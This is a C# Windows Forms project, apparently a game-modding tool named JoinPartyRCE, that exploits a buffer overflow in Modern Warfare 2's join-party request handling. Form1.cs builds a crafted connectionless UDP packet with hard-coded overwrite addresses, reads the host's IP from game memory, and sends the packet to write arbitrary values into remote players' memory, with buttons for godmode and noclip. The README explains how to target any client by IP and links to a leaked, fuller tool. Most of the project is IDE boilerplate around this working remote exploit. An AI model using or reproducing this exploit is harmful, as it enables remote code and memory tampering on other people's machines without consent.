├── .vs ├── ProjectSettings.json └── slnx.sqlite ├── Blasts_Test ├── obj │ ├── Debug │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── Blasts_Test.csproj.CoreCompileInputs.cache │ │ ├── Blasts_Test.exe │ │ ├── Blasts_Test.pdb │ │ ├── Blasts_Test.Form1.resources │ │ ├── Blasts_Test.Properties.Resources.resources │ │ ├── Blasts_Test.csproj.GenerateResource.cache │ │ ├── Blasts_Test.csprojAssemblyReference.cache │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── Blasts_Test.csproj.FileListAbsolute.txt │ └── Release │ │ └── Blasts_Test.csproj.CoreCompileInputs.cache ├── bin │ └── Debug │ │ ├── Blasts_Test.exe │ │ ├── Blasts_Test.pdb │ │ └── Blasts_Test.exe.config ├── App.config ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── Program.cs ├── Blasts_Test.csproj ├── Form1.cs ├── Form1.resx └── Form1.Designer.cs ├── README.md └── Blasts_Test.sln /.vs/ProjectSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "CurrentProjectSetting": null 3 | } -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.vs/slnx.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/.vs/slnx.sqlite -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | d6dcf41a97d733dc563f3cc13fb2efe540724d24 2 | -------------------------------------------------------------------------------- /Blasts_Test/obj/Release/Blasts_Test.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | d6dcf41a97d733dc563f3cc13fb2efe540724d24 2 | -------------------------------------------------------------------------------- /Blasts_Test/bin/Debug/Blasts_Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/bin/Debug/Blasts_Test.exe -------------------------------------------------------------------------------- /Blasts_Test/bin/Debug/Blasts_Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/bin/Debug/Blasts_Test.pdb -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.exe -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.pdb -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.Form1.resources -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.Properties.Resources.resources -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Blasts_Test/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Blasts_Test/bin/Debug/Blasts_Test.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Blasts_Test/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Blasts_Test/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace Blasts_Test 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This RCE uses a buffer overflow found in the function PartyHost_HandleJoinPartyRequest. 2 | 3 | -- 4 | 5 | Since Modern Warfare 2 does not encrypt connectionless packets, you do not have to be on the game to use this, just specify the IP address of the client you want to RCE and send the packet. 6 | 7 | -- 8 | 9 | Credits: 10 | 11 | Gamer7112 for finding the exploit. 12 | 13 | AssumingAgate for stealing the packet from XBOX360LSBEST (Gamer7112's friend). 14 | 15 | Blasts Mods for making this shitty tool. 16 | 17 | -- 18 | 19 | If you want to download AssumingAgate's leaked tool that has more options, download it here: 20 | 21 | https://anonfile.com/7eadwf76n8/RCE-CabConModding.com-LeakedBySwoon_rar 22 | -------------------------------------------------------------------------------- /Blasts_Test/obj/Debug/Blasts_Test.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.exe.config 2 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.exe 3 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.pdb 4 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csprojAssemblyReference.cache 5 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.Form1.resources 6 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.Properties.Resources.resources 7 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csproj.GenerateResource.cache 8 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csproj.CoreCompileInputs.cache 9 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.exe 10 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.pdb 11 | -------------------------------------------------------------------------------- /Blasts_Test.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.902 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Blasts_Test", "Blasts_Test\Blasts_Test.csproj", "{FED36B72-43C1-473C-AE38-5C8F3BE70BD4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B74E9AB2-E698-4CB3-8623-4EC78A865CEC} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Blasts_Test/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Blasts_Test.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Blasts_Test/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Blasts_Test")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Blasts_Test")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("fed36b72-43c1-473c-ae38-5c8f3be70bd4")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Blasts_Test/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Blasts_Test.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Blasts_Test.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Blasts_Test/Blasts_Test.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4} 8 | WinExe 9 | Blasts_Test 10 | Blasts_Test 11 | v4.6.1 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | Form 51 | 52 | 53 | Form1.cs 54 | 55 | 56 | 57 | 58 | Form1.cs 59 | 60 | 61 | ResXFileCodeGenerator 62 | Resources.Designer.cs 63 | Designer 64 | 65 | 66 | True 67 | Resources.resx 68 | 69 | 70 | SettingsSingleFileGenerator 71 | Settings.Designer.cs 72 | 73 | 74 | True 75 | Settings.settings 76 | True 77 | 78 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /Blasts_Test/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | using System.Diagnostics; 11 | using System.IO; 12 | using System.Runtime.InteropServices; 13 | using System.Net; 14 | using System.Threading; 15 | using System.Net.Sockets; 16 | 17 | namespace Blasts_Test 18 | { 19 | public partial class Form1 : Form 20 | { 21 | public Form1() 22 | { 23 | InitializeComponent(); 24 | } 25 | 26 | [DllImport("kernel32.dll")] 27 | public static extern bool ReadProcessMemory(int hProcess, UInt32 lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); 28 | 29 | private byte[] GetBytes(string ModuleName, UInt32 Address, int Length) 30 | { 31 | byte[] buffer = new byte[Length]; 32 | 33 | foreach (Process mod in Process.GetProcesses()) 34 | { 35 | if (mod.ProcessName == ModuleName) 36 | { 37 | ReadProcessMemory((int)mod.Handle, Address, buffer, Length, ref Length); 38 | } 39 | } 40 | 41 | return buffer; 42 | } 43 | 44 | public byte[] ReadBytes(string ModuleName, UInt32 offset, int length) 45 | { 46 | byte[] buffer = GetBytes(ModuleName, offset, length); 47 | return buffer; 48 | } 49 | 50 | public string ReadString(string ModuleName, int offset) 51 | { 52 | int blocksize = 40; 53 | int scalesize = 0; 54 | string str = string.Empty; 55 | 56 | while (!str.Contains('\0')) 57 | { 58 | byte[] buffer = ReadBytes(ModuleName, (uint)offset + (uint)scalesize, blocksize); 59 | str += Encoding.UTF8.GetString(buffer); 60 | scalesize += blocksize; 61 | } 62 | 63 | return str.Substring(0, str.IndexOf('\0')); 64 | } 65 | 66 | public uint getPlayerstate(uint client) 67 | { 68 | return 0x01B0E1C0 + (client * 0x366C); 69 | } 70 | 71 | public uint getEntity(uint client) 72 | { 73 | return 0x0194B9D0 + (client * 0x274); 74 | } 75 | 76 | private void button1_Click(object sender, EventArgs e) 77 | { 78 | listBox1.Items.Clear(); 79 | for (int i = 0; i < 18; i++) 80 | { 81 | listBox1.Items.Add(ReadString("iw4mp", 0x10F9362 + (0xE0 * i))); 82 | } 83 | } 84 | 85 | private void Send(string IP, ushort Port, byte[] Data) 86 | { 87 | Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); 88 | 89 | IPAddress serverAddr = IPAddress.Parse(IP); 90 | 91 | IPEndPoint endPoint = new IPEndPoint(serverAddr, Port); 92 | 93 | sock.SendTo(Data, endPoint); 94 | 95 | sock.Close(); 96 | } 97 | 98 | public static string ConvertIP(byte[] input, string spacer) 99 | { 100 | string str = string.Empty; 101 | for (int i = 0; i < 4; ++i) 102 | { 103 | Decimal num = Convert.ToDecimal(input[i]); 104 | str = i == 3 ? str + Convert.ToString(num) : str + Convert.ToString(num) + spacer; 105 | } 106 | return str; 107 | } 108 | 109 | public void WriteUInt(uint Address, uint Value) 110 | { 111 | string exp = "ÿÿÿÿ1joinParty 149 1 1 0 0 0 32 0 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 4273664 28882928 6706537 0 4198910 4273664 " + (uint)(Address - 0x14) + " 6706537 " + (uint)Value + " 4198910 5677570"; 112 | 113 | byte[] HostIP = ReadBytes("iw4mp", 0xAF6028, 4); //Grab Host's IP from NetChan 114 | string HostIPString = ConvertIP(HostIP, "."); //Convert IP to string and format it correctly 115 | 116 | byte[] Packet = Encoding.ASCII.GetBytes(exp); //Convert string to byte array 117 | 118 | Buffer.BlockCopy(BitConverter.GetBytes(0xFFFFFFFF), 0, Packet, 0, 4); //Overwrite first 4 bytes to specify connectionless packet, idk why but ascii conversion fails 119 | 120 | //Send Packet 121 | Send(HostIPString, 28960, Packet); 122 | } 123 | 124 | private void button2_Click(object sender, EventArgs e) 125 | { 126 | uint SelectedClient = (uint)listBox1.SelectedIndex; 127 | WriteUInt(getEntity(SelectedClient) + 0x184, 1); 128 | } 129 | 130 | private void button3_Click(object sender, EventArgs e) 131 | { 132 | uint SelectedClient = (uint)listBox1.SelectedIndex; 133 | WriteUInt(getEntity(SelectedClient) + 0x184, 0); 134 | } 135 | 136 | private void button5_Click(object sender, EventArgs e) 137 | { 138 | uint SelectedClient = (uint)listBox1.SelectedIndex; 139 | WriteUInt(getPlayerstate(SelectedClient) + 0x3394, 1); 140 | } 141 | 142 | private void button4_Click(object sender, EventArgs e) 143 | { 144 | uint SelectedClient = (uint)listBox1.SelectedIndex; 145 | WriteUInt(getPlayerstate(SelectedClient) + 0x3394, 0); 146 | } 147 | 148 | private void button6_Click(object sender, EventArgs e) 149 | { 150 | System.Diagnostics.Process.Start("https://github.com/BlastsMods/JoinPartyRCE"); 151 | } 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /Blasts_Test/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /Blasts_Test/Form1.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /Blasts_Test/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace Blasts_Test 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.listBox1 = new System.Windows.Forms.ListBox(); 32 | this.button1 = new System.Windows.Forms.Button(); 33 | this.groupBox1 = new System.Windows.Forms.GroupBox(); 34 | this.button2 = new System.Windows.Forms.Button(); 35 | this.button3 = new System.Windows.Forms.Button(); 36 | this.button4 = new System.Windows.Forms.Button(); 37 | this.button5 = new System.Windows.Forms.Button(); 38 | this.button6 = new System.Windows.Forms.Button(); 39 | this.label1 = new System.Windows.Forms.Label(); 40 | this.label2 = new System.Windows.Forms.Label(); 41 | this.groupBox1.SuspendLayout(); 42 | this.SuspendLayout(); 43 | // 44 | // listBox1 45 | // 46 | this.listBox1.FormattingEnabled = true; 47 | this.listBox1.Location = new System.Drawing.Point(583, 7); 48 | this.listBox1.Name = "listBox1"; 49 | this.listBox1.Size = new System.Drawing.Size(205, 407); 50 | this.listBox1.TabIndex = 0; 51 | // 52 | // button1 53 | // 54 | this.button1.Location = new System.Drawing.Point(583, 420); 55 | this.button1.Name = "button1"; 56 | this.button1.Size = new System.Drawing.Size(205, 23); 57 | this.button1.TabIndex = 1; 58 | this.button1.Text = "Get Clients"; 59 | this.button1.UseVisualStyleBackColor = true; 60 | this.button1.Click += new System.EventHandler(this.button1_Click); 61 | // 62 | // groupBox1 63 | // 64 | this.groupBox1.Controls.Add(this.button4); 65 | this.groupBox1.Controls.Add(this.button5); 66 | this.groupBox1.Controls.Add(this.button3); 67 | this.groupBox1.Controls.Add(this.button2); 68 | this.groupBox1.Location = new System.Drawing.Point(12, 12); 69 | this.groupBox1.Name = "groupBox1"; 70 | this.groupBox1.Size = new System.Drawing.Size(207, 80); 71 | this.groupBox1.TabIndex = 2; 72 | this.groupBox1.TabStop = false; 73 | this.groupBox1.Text = "Client Options"; 74 | // 75 | // button2 76 | // 77 | this.button2.Location = new System.Drawing.Point(6, 19); 78 | this.button2.Name = "button2"; 79 | this.button2.Size = new System.Drawing.Size(95, 23); 80 | this.button2.TabIndex = 3; 81 | this.button2.Text = "Godmode ON"; 82 | this.button2.UseVisualStyleBackColor = true; 83 | this.button2.Click += new System.EventHandler(this.button2_Click); 84 | // 85 | // button3 86 | // 87 | this.button3.Location = new System.Drawing.Point(107, 19); 88 | this.button3.Name = "button3"; 89 | this.button3.Size = new System.Drawing.Size(95, 23); 90 | this.button3.TabIndex = 4; 91 | this.button3.Text = "Godmode OFF"; 92 | this.button3.UseVisualStyleBackColor = true; 93 | this.button3.Click += new System.EventHandler(this.button3_Click); 94 | // 95 | // button4 96 | // 97 | this.button4.Location = new System.Drawing.Point(107, 48); 98 | this.button4.Name = "button4"; 99 | this.button4.Size = new System.Drawing.Size(95, 23); 100 | this.button4.TabIndex = 6; 101 | this.button4.Text = "NoClip OFF"; 102 | this.button4.UseVisualStyleBackColor = true; 103 | this.button4.Click += new System.EventHandler(this.button4_Click); 104 | // 105 | // button5 106 | // 107 | this.button5.Location = new System.Drawing.Point(6, 48); 108 | this.button5.Name = "button5"; 109 | this.button5.Size = new System.Drawing.Size(95, 23); 110 | this.button5.TabIndex = 5; 111 | this.button5.Text = "NoClip ON"; 112 | this.button5.UseVisualStyleBackColor = true; 113 | this.button5.Click += new System.EventHandler(this.button5_Click); 114 | // 115 | // button6 116 | // 117 | this.button6.Location = new System.Drawing.Point(11, 386); 118 | this.button6.Name = "button6"; 119 | this.button6.Size = new System.Drawing.Size(207, 23); 120 | this.button6.TabIndex = 7; 121 | this.button6.Text = "Click me for source (github)"; 122 | this.button6.UseVisualStyleBackColor = true; 123 | this.button6.Click += new System.EventHandler(this.button6_Click); 124 | // 125 | // label1 126 | // 127 | this.label1.AutoSize = true; 128 | this.label1.Location = new System.Drawing.Point(9, 412); 129 | this.label1.Name = "label1"; 130 | this.label1.Size = new System.Drawing.Size(191, 13); 131 | this.label1.TabIndex = 8; 132 | this.label1.Text = "Credits to Gamer7112 for finding exploit"; 133 | // 134 | // label2 135 | // 136 | this.label2.AutoSize = true; 137 | this.label2.Location = new System.Drawing.Point(9, 430); 138 | this.label2.Name = "label2"; 139 | this.label2.Size = new System.Drawing.Size(331, 13); 140 | this.label2.TabIndex = 9; 141 | this.label2.Text = "Credits to AssumingAgate for stealing packet from XBOX360LSBEST"; 142 | // 143 | // Form1 144 | // 145 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 146 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 147 | this.ClientSize = new System.Drawing.Size(800, 450); 148 | this.Controls.Add(this.label2); 149 | this.Controls.Add(this.label1); 150 | this.Controls.Add(this.button6); 151 | this.Controls.Add(this.groupBox1); 152 | this.Controls.Add(this.button1); 153 | this.Controls.Add(this.listBox1); 154 | this.Name = "Form1"; 155 | this.Text = "BlastsMods\' Tool (Based off of Leaked RCE Tool)"; 156 | this.groupBox1.ResumeLayout(false); 157 | this.ResumeLayout(false); 158 | this.PerformLayout(); 159 | 160 | } 161 | 162 | #endregion 163 | 164 | private System.Windows.Forms.ListBox listBox1; 165 | private System.Windows.Forms.Button button1; 166 | private System.Windows.Forms.GroupBox groupBox1; 167 | private System.Windows.Forms.Button button3; 168 | private System.Windows.Forms.Button button2; 169 | private System.Windows.Forms.Button button4; 170 | private System.Windows.Forms.Button button5; 171 | private System.Windows.Forms.Button button6; 172 | private System.Windows.Forms.Label label1; 173 | private System.Windows.Forms.Label label2; 174 | } 175 | } 176 | 177 | --------------------------------------------------------------------------------